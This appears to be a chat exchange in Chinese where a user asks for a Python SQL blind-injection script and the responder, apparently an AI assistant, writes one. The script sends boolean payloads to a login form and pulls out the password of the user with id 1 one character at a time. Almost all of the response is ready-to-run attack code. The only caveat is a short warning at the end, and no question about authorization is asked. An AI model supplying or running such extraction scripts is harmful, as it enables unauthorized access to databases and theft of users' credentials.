用python写一个sql盲注脚本

以下是一个基本的 Python SQL 盲注脚本，它可以用于测试 SQL 注入攻击：

import requests

# 目标URL
url = "http://example.com/login.php"

# 注入参数
injection_param = "username"

# 注入语句
injection_statement = "' or 1=1#"

# 发送请求并检查响应
def check_response(response):
    if "登录成功" in response.text:
        return True
    else:
        return False

# 枚举字符
def enum_chars():
    for i in range(32, 127):
        injection_payload = injection_statement.replace("1=1", f"ascii(substring((select password from users where id=1), 1, 1))={i}")
        data = {injection_param: injection_payload}
        response = requests.post(url, data=data)
        if check_response(response):
            print(chr(i), end="")

# 枚举长度
def enum_length():
    length = 0
    while True:
        injection_payload = injection_statement.replace("1=1", f"length((select password from users where id=1))={length}")
        data = {injection_param: injection_payload}
        response = requests.post(url, data=data)
        if check_response(response):
            return length
        length += 1

# 枚举内容
def enum_content():
    password_length = enum_length()
    password = ""
    for i in range(1, password_length+1):
        for j in range(32, 127):
            injection_payload = injection_statement.replace("1=1", f"ascii(substring((select password from users where id=1), {i}, 1))={j}")
            data = {injection_param: injection_payload}
            response = requests.post(url, data=data)
            if check_response(response):
                password += chr(j)
                break
    print("Password:", password)

# 枚举密码
enum_content()

这是一个基本的脚本，它可以枚举数据库中的密码。请注意，这只是一个简单的演示，实际上，SQL 注入攻击可能需要更复杂的技术。此外，SQL 注入是非常危险的攻击，如果您不知道自己在做什么，请不要尝试。